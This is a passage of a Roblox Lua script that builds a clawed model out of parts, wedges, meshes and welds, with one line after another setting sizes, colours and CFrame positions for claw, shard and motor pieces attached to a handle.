  767. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  768. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  769. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  770. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  771. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  772. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  773. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  774. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  775. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  776. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  777. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  778. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  779. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  780. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  781. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  782. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  783. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  784. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  785. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  786. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  787. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  788. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  789. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  790. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  791. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  792. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  793. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  794. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  795. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  796. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  797. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  798. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  799. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  800. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  801. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  802. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  803. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  804. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  805. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  806. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  807. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  808. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  809. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  810. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  811. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  812. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  813. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  814. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  815. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  816. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  817. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  818. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  819. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  820. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  821. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  822. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  823. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  824. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  825. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  826. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  827. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  828. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  829. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  830. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  831. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  832. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  833. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  834. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  835. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  836. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  837. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  838. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  839. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  840. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  841. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  842. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  843. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  844. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  845. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  846. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  847. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  848. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  849. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  850. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  851. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  852. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  853. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  854. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  855. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  856. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  857. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  858. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  859. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  860. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  861. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  862. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  863. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  864. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  865. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  866. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  867. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  868. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  869. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  870. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  871. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  872. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  873. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  874. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  875. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  876. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  877. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  878. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  879. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  880. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  881. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  882. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  883. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  884. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  885. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  886. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  887. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  888. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  889. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  890. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  891. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  892. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  893. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  894. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  895. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  896. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  897. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  898. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  899. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  900. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  901. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  902. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  903. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  904. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  905. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  906. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  907. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  908. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  909. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  910. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  911. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  912. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  913. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  914. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
